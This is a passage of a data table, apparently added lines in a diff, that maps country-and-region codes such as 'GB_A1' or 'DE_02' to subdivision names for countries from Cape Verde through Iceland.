+"CV_02","Brava", +"CV_04","Maio", +"CV_05","Paul", +"CV_07","Ribeira Grande", +"CV_08","Sal", +"CV_10","Sao Nicolau", +"CV_11","Sao Vicente", +"CV_13","Mosteiros", +"CV_14","Praia", +"CV_15","Santa Catarina", +"CV_16","Santa Cruz", +"CV_17","Sao Domingos", +"CV_18","Sao Filipe", +"CV_19","Sao Miguel", +"CV_20","Tarrafal", +"CY_01","Famagusta", +"CY_02","Kyrenia", +"CY_03","Larnaca", +"CY_04","Nicosia", +"CY_05","Limassol", +"CY_06","Paphos", +"CZ_52","Hlavni Mesto Praha", +"CZ_78","Jihomoravsky Kraj", +"CZ_79","Jihocesky Kraj", +"CZ_80","Vysocina", +"CZ_81","Karlovarsky Kraj", +"CZ_82","Kralovehradecky Kraj", +"CZ_83","Liberecky Kraj", +"CZ_84","Olomoucky Kraj", +"CZ_85","Moravskoslezsky Kraj", +"CZ_86","Pardubicky Kraj", +"CZ_87","Plzensky Kraj", +"CZ_88","Stredocesky Kraj", +"CZ_89","Ustecky Kraj", +"CZ_90","Zlinsky Kraj", +"DE_01","Baden-Wurttemberg", +"DE_02","Bayern", +"DE_03","Bremen", +"DE_04","Hamburg", +"DE_05","Hessen", +"DE_06","Niedersachsen", +"DE_07","Nordrhein-Westfalen", +"DE_08","Rheinland-Pfalz", +"DE_09","Saarland", +"DE_10","Schleswig-Holstein", +"DE_11","Brandenburg", +"DE_12","Mecklenburg-Vorpommern", +"DE_13","Sachsen", +"DE_14","Sachsen-Anhalt", +"DE_15","Thuringen", +"DE_16","Berlin", +"DJ_02","Dikhil", +"DJ_03","Djibouti", +"DJ_04","Obock", +"DJ_05","Tadjoura", +"DK_01","Arhus", +"DK_02","Bornholm", +"DK_03","Frederiksborg", +"DK_04","Fyn", +"DK_05","Kobenhavn", +"DK_06","Staden Kobenhavn", +"DK_07","Nordjylland", +"DK_08","Ribe", +"DK_09","Ringkobing", +"DK_10","Roskilde", +"DK_11","Sonderjylland", +"DK_12","Storstrom", +"DK_13","Vejle", +"DK_14","Vestsjalland", +"DK_15","Viborg", +"DM_02","Saint Andrew", +"DM_03","Saint David", +"DM_04","Saint George", +"DM_05","Saint John", +"DM_06","Saint Joseph", +"DM_07","Saint Luke", +"DM_08","Saint Mark", +"DM_09","Saint Patrick", +"DM_10","Saint Paul", +"DM_11","Saint Peter", +"DO_01","Azua", +"DO_02","Baoruco", +"DO_03","Barahona", +"DO_04","Dajabon", +"DO_05","Distrito Nacional", +"DO_06","Duarte", +"DO_08","Espaillat", +"DO_09","Independencia", +"DO_10","La Altagracia", +"DO_11","Elias Pina", +"DO_12","La Romana", +"DO_14","Maria Trinidad Sanchez", +"DO_15","Monte Cristi", +"DO_16","Pedernales", +"DO_17","Peravia", +"DO_18","Puerto Plata", +"DO_19","Salcedo", +"DO_20","Samana", +"DO_21","Sanchez Ramirez", +"DO_23","San Juan", +"DO_24","San Pedro De Macoris", +"DO_25","Santiago", +"DO_26","Santiago Rodriguez", +"DO_27","Valverde", +"DO_28","El Seibo", +"DO_29","Hato Mayor", +"DO_30","La Vega", +"DO_31","Monsenor Nouel", +"DO_32","Monte Plata", +"DO_33","San Cristobal", +"DZ_01","Alger", +"DZ_03","Batna", +"DZ_04","Constantine", +"DZ_06","Medea", +"DZ_07","Mostaganem", +"DZ_09","Oran", +"DZ_10","Saida", +"DZ_12","Setif", +"DZ_13","Tiaret", +"DZ_14","Tizi Ouzou", +"DZ_15","Tlemcen", +"DZ_18","Bejaia", +"DZ_19","Biskra", +"DZ_20","Blida", +"DZ_21","Bouira", +"DZ_22","Djelfa", +"DZ_23","Guelma", +"DZ_24","Jijel", +"DZ_25","Laghouat", +"DZ_26","Mascara", +"DZ_27","M'sila", +"DZ_29","Oum el Bouaghi", +"DZ_30","Sidi Bel Abbes", +"DZ_31","Skikda", +"DZ_33","Tebessa", +"DZ_34","Adrar", +"DZ_35","Ain Defla", +"DZ_36","Ain Temouchent", +"DZ_37","Annaba", +"DZ_38","Bechar", +"DZ_39","Bordj Bou Arreridj", +"DZ_40","Boumerdes", +"DZ_41","Chlef", +"DZ_42","El Bayadh", +"DZ_43","El Oued", +"DZ_44","El Tarf", +"DZ_45","Ghardaia", +"DZ_46","Illizi", +"DZ_47","Khenchela", +"DZ_48","Mila", +"DZ_49","Naama", +"DZ_50","Ouargla", +"DZ_51","Relizane", +"DZ_52","Souk Ahras", +"DZ_53","Tamanghasset", +"DZ_54","Tindouf", +"DZ_55","Tipaza", +"DZ_56","Tissemsilt", +"EC_01","Galapagos", +"EC_02","Azuay", +"EC_03","Bolivar", +"EC_04","Canar", +"EC_05","Carchi", +"EC_06","Chimborazo", +"EC_07","Cotopaxi", +"EC_08","El Oro", +"EC_09","Esmeraldas", +"EC_10","Guayas", +"EC_11","Imbabura", +"EC_12","Loja", +"EC_13","Los Rios", +"EC_14","Manabi", +"EC_15","Morona-Santiago", +"EC_17","Pastaza", +"EC_18","Pichincha", +"EC_19","Tungurahua", +"EC_20","Zamora-Chinchipe", +"EC_22","Sucumbios", +"EC_23","Napo", +"EC_24","Orellana", +"EE_01","Harjumaa", +"EE_02","Hiiumaa", +"EE_03","Ida-Virumaa", +"EE_04","Jarvamaa", +"EE_05","Jogevamaa", +"EE_06","Kohtla-Jarve", +"EE_07","Laanemaa", +"EE_08","Laane-Virumaa", +"EE_09","Narva", +"EE_10","Parnu", +"EE_11","Parnumaa", +"EE_12","Polvamaa", +"EE_13","Raplamaa", +"EE_14","Saaremaa", +"EE_15","Sillamae", +"EE_16","Tallinn", +"EE_17","Tartu", +"EE_18","Tartumaa", +"EE_19","Valgamaa", +"EE_20","Viljandimaa", +"EE_21","Vorumaa", +"EG_01","Ad Daqahliyah", +"EG_02","Al Bahr al Ahmar", +"EG_03","Al Buhayrah", +"EG_04","Al Fayyum", +"EG_05","Al Gharbiyah", +"EG_06","Al Iskandariyah", +"EG_07","Al Isma'iliyah", +"EG_08","Al Jizah", +"EG_09","Al Minufiyah", +"EG_10","Al Minya", +"EG_11","Al Qahirah", +"EG_12","Al Qalyubiyah", +"EG_13","Al Wadi al Jadid", +"EG_14","Ash Sharqiyah", +"EG_15","As Suways", +"EG_16","Aswan", +"EG_17","Asyut", +"EG_18","Bani Suwayf", +"EG_19","Bur Sa'id", +"EG_20","Dumyat", +"EG_21","Kafr ash Shaykh", +"EG_22","Matruh", +"EG_23","Qina", +"EG_24","Suhaj", +"EG_26","Janub Sina'", +"EG_27","Shamal Sina'", +"ES_07","Islas Baleares", +"ES_27","La Rioja", +"ES_29","Madrid", +"ES_31","Murcia", +"ES_32","Navarra", +"ES_34","Asturias", +"ES_39","Cantabria", +"ES_51","Andalucia", +"ES_52","Aragon", +"ES_53","Canarias", +"ES_54","Castilla-La Mancha", +"ES_55","Castilla y Leon", +"ES_56","Cataluna", +"ES_57","Extremadura", +"ES_58","Galicia", +"ES_59","Pais Vasco", +"ES_60","Comunidad Valenciana", +"ET_02","Amhara", +"ET_07","Somali", +"ET_08","Gambella", +"ET_10","Addis Abeba", +"ET_11","Southern", +"ET_12","Tigray", +"ET_13","Benishangul", +"ET_14","Afar", +"ET_44","Adis Abeba", +"ET_45","Afar", +"ET_46","Amara", +"ET_47","Binshangul Gumuz", +"ET_48","Dire Dawa", +"ET_49","Gambela Hizboch", +"ET_50","Hareri Hizb", +"ET_51","Oromiya", +"ET_52","Sumale", +"ET_53","Tigray", +"ET_54","YeDebub Biheroch Bihereseboch na Hizboch", +"FI_01","Iland", +"FI_06","Lapland", +"FI_08","Oulu", +"FI_13","Southern Finland", +"FI_14","Eastern Finland", +"FI_15","Western Finland", +"FJ_01","Central", +"FJ_02","Eastern", +"FJ_03","Northern", +"FJ_04","Rotuma", +"FJ_05","Western", +"FM_01","Kosrae", +"FM_02","Pohnpei", +"FM_03","Chuuk", +"FM_04","Yap", +"FR_97","Aquitaine", +"FR_98","Auvergne", +"FR_99","Basse-Normandie", +"FR_A1","Bourgogne", +"FR_A2","Bretagne", +"FR_A3","Centre", +"FR_A4","Champagne-Ardenne", +"FR_A5","Corse", +"FR_A6","Franche-Comte", +"FR_A7","Haute-Normandie", +"FR_A8","Ile-de-France", +"FR_A9","Languedoc-Roussillon", +"FR_B1","Limousin", +"FR_B2","Lorraine", +"FR_B3","Midi-Pyrenees", +"FR_B4","Nord-Pas-de-Calais", +"FR_B5","Pays de la Loire", +"FR_B6","Picardie", +"FR_B7","Poitou-Charentes", +"FR_B8","Provence-Alpes-Cote d'Azur", +"FR_B9","Rhone-Alpes", +"FR_C1","Alsace", +"GA_01","Estuaire", +"GA_02","Haut-Ogooue", +"GA_03","Moyen-Ogooue", +"GA_04","Ngounie", +"GA_05","Nyanga", +"GA_06","Ogooue-Ivindo", +"GA_07","Ogooue-Lolo", +"GA_08","Ogooue-Maritime", +"GA_09","Woleu-Ntem", +"GB_01","Avon", +"GB_03","Berkshire", +"GB_07","Cleveland", +"GB_08","Cornwall", +"GB_09","Cumbria", +"GB_17","Greater London", +"GB_18","Greater Manchester", +"GB_20","Hereford and Worcester", +"GB_22","Humberside", +"GB_28","Merseyside", +"GB_37","South Yorkshire", +"GB_41","Tyne and Wear", +"GB_43","West Midlands", +"GB_45","West Yorkshire", +"GB_79","Central", +"GB_82","Grampian", +"GB_84","Lothian", +"GB_87","Strathclyde", +"GB_88","Tayside", +"GB_90","Clwyd", +"GB_91","Dyfed", +"GB_92","Gwent", +"GB_94","Mid Glamorgan", +"GB_96","South Glamorgan", +"GB_97","West Glamorgan", +"GB_A1","Barking and Dagenham", +"GB_A2","Barnet", +"GB_A3","Barnsley", +"GB_A4","Bath and North East Somerset", +"GB_A5","Bedfordshire", +"GB_A6","Bexley", +"GB_A7","Birmingham", +"GB_A8","Blackburn with Darwen", +"GB_A9","Blackpool", +"GB_B1","Bolton", +"GB_B2","Bournemouth", +"GB_B3","Bracknell Forest", +"GB_B4","Bradford", +"GB_B5","Brent", +"GB_B6","Brighton and Hove", +"GB_B7","Bristol, City of", +"GB_B8","Bromley", +"GB_B9","Buckinghamshire", +"GB_C1","Bury", +"GB_C2","Calderdale", +"GB_C3","Cambridgeshire", +"GB_C4","Camden", +"GB_C5","Cheshire", +"GB_C7","Coventry", +"GB_C8","Croydon", +"GB_D1","Darlington", +"GB_D2","Derby", +"GB_D3","Derbyshire", +"GB_D4","Devon", +"GB_D5","Doncaster", +"GB_D6","Dorset", +"GB_D7","Dudley", +"GB_D8","Durham", +"GB_D9","Ealing", +"GB_E1","East Riding of Yorkshire", +"GB_E2","East Sussex", +"GB_E3","Enfield", +"GB_E4","Essex", +"GB_E5","Gateshead", +"GB_E6","Gloucestershire", +"GB_E7","Greenwich", +"GB_E8","Hackney", +"GB_E9","Halton", +"GB_F1","Hammersmith and Fulham", +"GB_F2","Hampshire", +"GB_F3","Haringey", +"GB_F4","Harrow", +"GB_F5","Hartlepool", +"GB_F6","Havering", +"GB_F7","Herefordshire", +"GB_F8","Hertford", +"GB_F9","Hillingdon", +"GB_G1","Hounslow", +"GB_G2","Isle of Wight", +"GB_G3","Islington", +"GB_G4","Kensington and Chelsea", +"GB_G5","Kent", +"GB_G6","Kingston upon Hull, City of", +"GB_G7","Kingston upon Thames", +"GB_G8","Kirklees", +"GB_G9","Knowsley", +"GB_H1","Lambeth", +"GB_H2","Lancashire", +"GB_H3","Leeds", +"GB_H4","Leicester", +"GB_H5","Leicestershire", +"GB_H6","Lewisham", +"GB_H7","Lincolnshire", +"GB_H8","Liverpool", +"GB_H9","London, City of", +"GB_I1","Luton", +"GB_I2","Manchester", +"GB_I3","Medway", +"GB_I4","Merton", +"GB_I5","Middlesbrough", +"GB_I6","Milton Keynes", +"GB_I7","Newcastle upon Tyne", +"GB_I8","Newham", +"GB_I9","Norfolk", +"GB_J1","Northamptonshire", +"GB_J2","North East Lincolnshire", +"GB_J3","North Lincolnshire", +"GB_J4","North Somerset", +"GB_J5","North Tyneside", +"GB_J6","Northumberland", +"GB_J7","North Yorkshire", +"GB_J8","Nottingham", +"GB_J9","Nottinghamshire", +"GB_K1","Oldham", +"GB_K2","Oxfordshire", +"GB_K3","Peterborough", +"GB_K4","Plymouth", +"GB_K5","Poole", +"GB_K6","Portsmouth", +"GB_K7","Reading", +"GB_K8","Redbridge", +"GB_K9","Redcar and Cleveland", +"GB_L1","Richmond upon Thames", +"GB_L2","Rochdale", +"GB_L3","Rotherham", +"GB_L4","Rutland", +"GB_L5","Salford", +"GB_L6","Shropshire", +"GB_L7","Sandwell", +"GB_L8","Sefton", +"GB_L9","Sheffield", +"GB_M1","Slough", +"GB_M2","Solihull", +"GB_M3","Somerset", +"GB_M4","Southampton", +"GB_M5","Southend-on-Sea", +"GB_M6","South Gloucestershire", +"GB_M7","South Tyneside", +"GB_M8","Southwark", +"GB_M9","Staffordshire", +"GB_N1","St. Helens", +"GB_N2","Stockport", +"GB_N3","Stockton-on-Tees", +"GB_N4","Stoke-on-Trent", +"GB_N5","Suffolk", +"GB_N6","Sunderland", +"GB_N7","Surrey", +"GB_N8","Sutton", +"GB_N9","Swindon", +"GB_O1","Tameside", +"GB_O2","Telford and Wrekin", +"GB_O3","Thurrock", +"GB_O4","Torbay", +"GB_O5","Tower Hamlets", +"GB_O6","Trafford", +"GB_O7","Wakefield", +"GB_O8","Walsall", +"GB_O9","Waltham Forest", +"GB_P1","Wandsworth", +"GB_P2","Warrington", +"GB_P3","Warwickshire", +"GB_P4","West Berkshire", +"GB_P5","Westminster", +"GB_P6","West Sussex", +"GB_P7","Wigan", +"GB_P8","Wiltshire", +"GB_P9","Windsor and Maidenhead", +"GB_Q1","Wirral", +"GB_Q2","Wokingham", +"GB_Q3","Wolverhampton", +"GB_Q4","Worcestershire", +"GB_Q5","York", +"GB_Q6","Antrim", +"GB_Q7","Ards", +"GB_Q8","Armagh", +"GB_Q9","Ballymena", +"GB_R1","Ballymoney", +"GB_R2","Banbridge", +"GB_R3","Belfast", +"GB_R4","Carrickfergus", +"GB_R5","Castlereagh", +"GB_R6","Coleraine", +"GB_R7","Cookstown", +"GB_R8","Craigavon", +"GB_R9","Down", +"GB_S1","Dungannon", +"GB_S2","Fermanagh", +"GB_S3","Larne", +"GB_S4","Limavady", +"GB_S5","Lisburn", +"GB_S6","Derry", +"GB_S7","Magherafelt", +"GB_S8","Moyle", +"GB_S9","Newry and Mourne", +"GB_T1","Newtownabbey", +"GB_T2","North Down", +"GB_T3","Omagh", +"GB_T4","Strabane", +"GB_T5","Aberdeen City", +"GB_T6","Aberdeenshire", +"GB_T7","Angus", +"GB_T8","Argyll and Bute", +"GB_T9","Scottish Borders, The", +"GB_U1","Clackmannanshire", +"GB_U2","Dumfries and Galloway", +"GB_U3","Dundee City", +"GB_U4","East Ayrshire", +"GB_U5","East Dunbartonshire", +"GB_U6","East Lothian", +"GB_U7","East Renfrewshire", +"GB_U8","Edinburgh, City of", +"GB_U9","Falkirk", +"GB_V1","Fife", +"GB_V2","Glasgow City", +"GB_V3","Highland", +"GB_V4","Inverclyde", +"GB_V5","Midlothian", +"GB_V6","Moray", +"GB_V7","North Ayrshire", +"GB_V8","North Lanarkshire", +"GB_V9","Orkney", +"GB_W1","Perth and Kinross", +"GB_W2","Renfrewshire", +"GB_W3","Shetland Islands", +"GB_W4","South Ayrshire", +"GB_W5","South Lanarkshire", +"GB_W6","Stirling", +"GB_W7","West Dunbartonshire", +"GB_W8","Eilean Siar", +"GB_W9","West Lothian", +"GB_X1","Isle of Anglesey", +"GB_X2","Blaenau Gwent", +"GB_X3","Bridgend", +"GB_X4","Caerphilly", +"GB_X5","Cardiff", +"GB_X6","Ceredigion", +"GB_X7","Carmarthenshire", +"GB_X8","Conwy", +"GB_X9","Denbighshire", +"GB_Y1","Flintshire", +"GB_Y2","Gwynedd", +"GB_Y3","Merthyr Tydfil", +"GB_Y4","Monmouthshire", +"GB_Y5","Neath Port Talbot", +"GB_Y6","Newport", +"GB_Y7","Pembrokeshire", +"GB_Y8","Powys", +"GB_Y9","Rhondda Cynon Taff", +"GB_Z1","Swansea", +"GB_Z2","Torfaen", +"GB_Z3","Vale of Glamorgan, The", +"GB_Z4","Wrexham", +"GD_01","Saint Andrew", +"GD_02","Saint David", +"GD_03","Saint George", +"GD_04","Saint John", +"GD_05","Saint Mark", +"GD_06","Saint Patrick", +"GE_01","Abashis Raioni", +"GE_02","Abkhazia", +"GE_03","Adigenis Raioni", +"GE_04","Ajaria", +"GE_05","Akhalgoris Raioni", +"GE_06","Akhalk'alak'is Raioni", +"GE_07","Akhalts'ikhis Raioni", +"GE_08","Akhmetis Raioni", +"GE_09","Ambrolauris Raioni", +"GE_10","Aspindzis Raioni", +"GE_11","Baghdat'is Raioni", +"GE_12","Bolnisis Raioni", +"GE_13","Borjomis Raioni", +"GE_14","Chiat'ura", +"GE_15","Ch'khorotsqus Raioni", +"GE_16","Ch'okhatauris Raioni", +"GE_17","Dedop'listsqaros Raioni", +"GE_18","Dmanisis Raioni", +"GE_19","Dushet'is Raioni", +"GE_20","Gardabanis Raioni", +"GE_21","Gori", +"GE_22","Goris Raioni", +"GE_23","Gurjaanis Raioni", +"GE_24","Javis Raioni", +"GE_25","K'arelis Raioni", +"GE_26","Kaspis Raioni", +"GE_27","Kharagaulis Raioni", +"GE_28","Khashuris Raioni", +"GE_29","Khobis Raioni", +"GE_30","Khonis Raioni", +"GE_31","K'ut'aisi", +"GE_32","Lagodekhis Raioni", +"GE_33","Lanch'khut'is Raioni", +"GE_34","Lentekhis Raioni", +"GE_35","Marneulis Raioni", +"GE_36","Martvilis Raioni", +"GE_37","Mestiis Raioni", +"GE_38","Mts'khet'is Raioni", +"GE_39","Ninotsmindis Raioni", +"GE_40","Onis Raioni", +"GE_41","Ozurget'is Raioni", +"GE_42","P'ot'i", +"GE_43","Qazbegis Raioni", +"GE_44","Qvarlis Raioni", +"GE_45","Rust'avi", +"GE_46","Sach'kheris Raioni", +"GE_47","Sagarejos Raioni", +"GE_48","Samtrediis Raioni", +"GE_49","Senakis Raioni", +"GE_50","Sighnaghis Raioni", +"GE_51","T'bilisi", +"GE_52","T'elavis Raioni", +"GE_53","T'erjolis Raioni", +"GE_54","T'et'ritsqaros Raioni", +"GE_55","T'ianet'is Raioni", +"GE_56","Tqibuli", +"GE_57","Ts'ageris Raioni", +"GE_58","Tsalenjikhis Raioni", +"GE_59","Tsalkis Raioni", +"GE_60","Tsqaltubo", +"GE_61","Vanis Raioni", +"GE_62","Zestap'onis Raioni", +"GE_63","Zugdidi", +"GE_64","Zugdidis Raioni", +"GH_01","Greater Accra", +"GH_02","Ashanti", +"GH_03","Brong-Ahafo", +"GH_04","Central", +"GH_05","Eastern", +"GH_06","Northern", +"GH_08","Volta", +"GH_09","Western", +"GH_10","Upper East", +"GH_11","Upper West", +"GL_01","Nordgronland", +"GL_02","Ostgronland", +"GL_03","Vestgronland", +"GM_01","Banjul", +"GM_02","Lower River", +"GM_03","MacCarthy Island", +"GM_04","Upper River", +"GM_05","Western", +"GM_07","North Bank", +"GN_01","Beyla", +"GN_02","Boffa", +"GN_03","Boke", +"GN_04","Conakry", +"GN_05","Dabola", +"GN_06","Dalaba", +"GN_07","Dinguiraye", +"GN_09","Faranah", +"GN_10","Forecariah", +"GN_11","Fria", +"GN_12","Gaoual", +"GN_13","Gueckedou", +"GN_15","Kerouane", +"GN_16","Kindia", +"GN_17","Kissidougou", +"GN_18","Koundara", +"GN_19","Kouroussa", +"GN_21","Macenta", +"GN_22","Mali", +"GN_23","Mamou", +"GN_25","Pita", +"GN_27","Telimele", +"GN_28","Tougue", +"GN_29","Yomou", +"GN_30","Coyah", +"GN_31","Dubreka", +"GN_32","Kankan", +"GN_33","Koubia", +"GN_34","Labe", +"GN_35","Lelouma", +"GN_36","Lola", +"GN_37","Mandiana", +"GN_38","Nzerekore", +"GN_39","Siguiri", +"GQ_03","Annobon", +"GQ_04","Bioko Norte", +"GQ_05","Bioko Sur", +"GQ_06","Centro Sur", +"GQ_07","Kie-Ntem", +"GQ_08","Litoral", +"GQ_09","Wele-Nzas", +"GR_01","Evros", +"GR_02","Rodhopi", +"GR_03","Xanthi", +"GR_04","Drama", +"GR_05","Serrai", +"GR_06","Kilkis", +"GR_07","Pella", +"GR_08","Florina", +"GR_09","Kastoria", +"GR_10","Grevena", +"GR_11","Kozani", +"GR_12","Imathia", +"GR_13","Thessaloniki", +"GR_14","Kavala", +"GR_15","Khalkidhiki", +"GR_16","Pieria", +"GR_17","Ioannina", +"GR_18","Thesprotia", +"GR_19","Preveza", +"GR_20","Arta", +"GR_21","Larisa", +"GR_22","Trikala", +"GR_23","Kardhitsa", +"GR_24","Magnisia", +"GR_25","Kerkira", +"GR_26","Levkas", +"GR_27","Kefallinia", +"GR_28","Zakinthos", +"GR_29","Fthiotis", +"GR_30","Evritania", +"GR_31","Aitolia kai Akarnania", +"GR_32","Fokis", +"GR_33","Voiotia", +"GR_34","Evvoia", +"GR_35","Attiki", +"GR_36","Argolis", +"GR_37","Korinthia", +"GR_38","Akhaia", +"GR_39","Ilia", +"GR_40","Messinia", +"GR_41","Arkadhia", +"GR_42","Lakonia", +"GR_43","Khania", +"GR_44","Rethimni", +"GR_45","Iraklion", +"GR_46","Lasithi", +"GR_47","Dhodhekanisos", +"GR_48","Samos", +"GR_49","Kikladhes", +"GR_50","Khios", +"GR_51","Lesvos", +"GT_01","Alta Verapaz", +"GT_02","Baja Verapaz", +"GT_03","Chimaltenango", +"GT_04","Chiquimula", +"GT_05","El Progreso", +"GT_06","Escuintla", +"GT_07","Guatemala", +"GT_08","Huehuetenango", +"GT_09","Izabal", +"GT_10","Jalapa", +"GT_11","Jutiapa", +"GT_12","Peten", +"GT_13","Quetzaltenango", +"GT_14","Quiche", +"GT_15","Retalhuleu", +"GT_16","Sacatepequez", +"GT_17","San Marcos", +"GT_18","Santa Rosa", +"GT_19","Solola", +"GT_20","Suchitepequez", +"GT_21","Totonicapan", +"GT_22","Zacapa", +"GW_01","Bafata", +"GW_02","Quinara", +"GW_04","Oio", +"GW_05","Bolama", +"GW_06","Cacheu", +"GW_07","Tombali", +"GW_10","Gabu", +"GW_11","Bissau", +"GW_12","Biombo", +"GY_10","Barima-Waini", +"GY_11","Cuyuni-Mazaruni", +"GY_12","Demerara-Mahaica", +"GY_13","East Berbice-Corentyne", +"GY_14","Essequibo Islands-West Demerara", +"GY_15","Mahaica-Berbice", +"GY_16","Pomeroon-Supenaam", +"GY_17","Potaro-Siparuni", +"GY_18","Upper Demerara-Berbice", +"GY_19","Upper Takutu-Upper Essequibo", +"HN_01","Atlantida", +"HN_02","Choluteca", +"HN_03","Colon", +"HN_04","Comayagua", +"HN_05","Copan", +"HN_06","Cortes", +"HN_07","El Paraiso", +"HN_08","Francisco Morazan", +"HN_09","Gracias a Dios", +"HN_10","Intibuca", +"HN_11","Islas de la Bahia", +"HN_12","La Paz", +"HN_13","Lempira", +"HN_14","Ocotepeque", +"HN_15","Olancho", +"HN_16","Santa Barbara", +"HN_17","Valle", +"HN_18","Yoro", +"HR_01","Bjelovarsko-Bilogorska", +"HR_02","Brodsko-Posavska", +"HR_03","Dubrovacko-Neretvanska", +"HR_04","Istarska", +"HR_05","Karlovacka", +"HR_06","Koprivnicko-Krizevacka", +"HR_07","Krapinsko-Zagorska", +"HR_08","Licko-Senjska", +"HR_09","Medimurska", +"HR_10","Osjecko-Baranjska", +"HR_11","Pozesko-Slavonska", +"HR_12","Primorsko-Goranska", +"HR_13","Sibensko-Kninska", +"HR_14","Sisacko-Moslavacka", +"HR_15","Splitsko-Dalmatinska", +"HR_16","Varazdinska", +"HR_17","Viroviticko-Podravska", +"HR_18","Vukovarsko-Srijemska", +"HR_19","Zadarska", +"HR_20","Zagrebacka", +"HR_21","Grad Zagreb", +"HT_03","Nord-Ouest", +"HT_06","Artibonite", +"HT_07","Centre", +"HT_08","Grand' Anse", +"HT_09","Nord", +"HT_10","Nord-Est", +"HT_11","Ouest", +"HT_12","Sud", +"HT_13","Sud-Est", +"HU_01","Bacs-Kiskun", +"HU_02","Baranya", +"HU_03","Bekes", +"HU_04","Borsod-Abauj-Zemplen", +"HU_05","Budapest", +"HU_06","Csongrad", +"HU_07","Debrecen", +"HU_08","Fejer", +"HU_09","Gyor-Moson-Sopron", +"HU_10","Hajdu-Bihar", +"HU_11","Heves", +"HU_12","Komarom-Esztergom", +"HU_13","Miskolc", +"HU_14","Nograd", +"HU_15","Pecs", +"HU_16","Pest", +"HU_17","Somogy", +"HU_18","Szabolcs-Szatmar-Bereg", +"HU_19","Szeged", +"HU_20","Jasz-Nagykun-Szolnok", +"HU_21","Tolna", +"HU_22","Vas", +"HU_23","Veszprem", +"HU_24","Zala", +"HU_25","Gyor", +"HU_26","Bekescsaba", +"HU_27","Dunaujvaros", +"HU_28","Eger", +"HU_29","Hodmezovasarhely", +"HU_30","Kaposvar", +"HU_31","Kecskemet", +"HU_32","Nagykanizsa", +"HU_33","Nyiregyhaza", +"HU_34","Sopron", +"HU_35","Szekesfehervar", +"HU_36","Szolnok", +"HU_37","Szombathely", +"HU_38","Tatabanya", +"HU_39","Veszprem", +"HU_40","Zalaegerszeg", +"ID_01","Aceh", +"ID_02","Bali", +"ID_03","Bengkulu", +"ID_04","Jakarta Raya", +"ID_05","Jambi", +"ID_07","Jawa Tengah", +"ID_08","Jawa Timur", +"ID_09","Papua", +"ID_10","Yogyakarta", +"ID_11","Kalimantan Barat", +"ID_12","Kalimantan Selatan", +"ID_13","Kalimantan Tengah", +"ID_14","Kalimantan Timur", +"ID_15","Lampung", +"ID_17","Nusa Tenggara Barat", +"ID_18","Nusa Tenggara Timur", +"ID_19","Riau", +"ID_20","Sulawesi Selatan", +"ID_21","Sulawesi Tengah", +"ID_22","Sulawesi Tenggara", +"ID_24","Sumatera Barat", +"ID_26","Sumatera Utara", +"ID_28","Maluku", +"ID_29","Maluku Utara", +"ID_30","Jawa Barat", +"ID_31","Sulawesi Utara", +"ID_32","Sumatera Selatan", +"ID_33","Banten", +"ID_34","Gorontalo", +"ID_35","Kepulauan Bangka Belitung", +"IE_01","Carlow", +"IE_02","Cavan", +"IE_03","Clare", +"IE_04","Cork", +"IE_06","Donegal", +"IE_07","Dublin", +"IE_10","Galway", +"IE_11","Kerry", +"IE_12","Kildare", +"IE_13","Kilkenny", +"IE_14","Leitrim", +"IE_15","Laois", +"IE_16","Limerick", +"IE_18","Longford", +"IE_19","Louth", +"IE_20","Mayo", +"IE_21","Meath", +"IE_22","Monaghan", +"IE_23","Offaly", +"IE_24","Roscommon", +"IE_25","Sligo", +"IE_26","Tipperary", +"IE_27","Waterford", +"IE_29","Westmeath", +"IE_30","Wexford", +"IE_31","Wicklow", +"IL_01","HaDarom", +"IL_02","HaMerkaz", +"IL_03","HaZafon", +"IL_04","Hefa", +"IL_05","Tel Aviv", +"IL_06","Yerushalayim", +"IN_01","Andaman and Nicobar Islands", +"IN_02","Andhra Pradesh", +"IN_03","Assam", +"IN_05","Chandigarh", +"IN_06","Dadra and Nagar Haveli", +"IN_07","Delhi", +"IN_09","Gujarat", +"IN_10","Haryana", +"IN_11","Himachal Pradesh", +"IN_12","Jammu and Kashmir", +"IN_13","Kerala", +"IN_14","Lakshadweep", +"IN_16","Maharashtra", +"IN_17","Manipur", +"IN_18","Meghalaya", +"IN_19","Karnataka", +"IN_20","Nagaland", +"IN_21","Orissa", +"IN_22","Pondicherry", +"IN_23","Punjab", +"IN_24","Rajasthan", +"IN_25","Tamil Nadu", +"IN_26","Tripura", +"IN_28","West Bengal", +"IN_29","Sikkim", +"IN_30","Arunachal Pradesh", +"IN_31","Mizoram", +"IN_32","Daman and Diu", +"IN_33","Goa", +"IN_34","Bihar", +"IN_35","Madhya Pradesh", +"IN_36","Uttar Pradesh", +"IN_37","Chhattisgarh", +"IN_38","Jharkhand", +"IN_39","Uttaranchal", +"IQ_01","Al Anbar", +"IQ_02","Al Basrah", +"IQ_03","Al Muthanna", +"IQ_04","Al Qadisiyah", +"IQ_05","As Sulaymaniyah", +"IQ_06","Babil", +"IQ_07","Baghdad", +"IQ_08","Dahuk", +"IQ_09","Dhi Qar", +"IQ_10","Diyala", +"IQ_11","Arbil", +"IQ_12","Karbala'", +"IQ_13","At Ta'mim", +"IQ_14","Maysan", +"IQ_15","Ninawa", +"IQ_16","Wasit", +"IQ_17","An Najaf", +"IQ_18","Salah ad Din", +"IR_01","Azarbayjan-e Bakhtari", +"IR_02","Azarbayjan-e Khavari", +"IR_03","Chahar Mahall va Bakhtiari", +"IR_04","Sistan va Baluchestan", +"IR_05","Kohkiluyeh va Buyer Ahmadi", +"IR_07","Fars", +"IR_08","Gilan", +"IR_09","Hamadan", +"IR_10","Ilam", +"IR_11","Hormozgan", +"IR_13","Bakhtaran", +"IR_15","Khuzestan", +"IR_16","Kordestan", +"IR_22","Bushehr", +"IR_23","Lorestan", +"IR_25","Semnan", +"IR_26","Tehran", +"IR_28","Esfahan", +"IR_29","Kerman", +"IR_30","Khorasan", +"IR_31","Yazd", +"IR_34","Markazi", +"IR_35","Mazandaran", +"IR_36","Zanjan", +"IR_37","Golestan", +"IR_38","Qazvin", +"IR_39","Qom", +"IS_01","Akranes", +"IS_02","Akureyri", +"IS_03","Arnessysla", +"IS_04","Austur-Bardastrandarsysla", +"IS_05","Austur-Hunavatnssysla", +"IS_06","Austur-Skaftafellssysla", +"IS_07","Borgarfjardarsysla", +"IS_08","Dalasysla", +"IS_09","Eyjafjardarsysla", +"IS_10","Gullbringusysla", +"IS_11","Hafnarfjordur", +"IS_12","Husavik", +"IS_13","Isafjordur", +"IS_14","Keflavik", +"IS_15","Kjosarsysla", +"IS_16","Kopavogur", +"IS_17","Myrasysla", 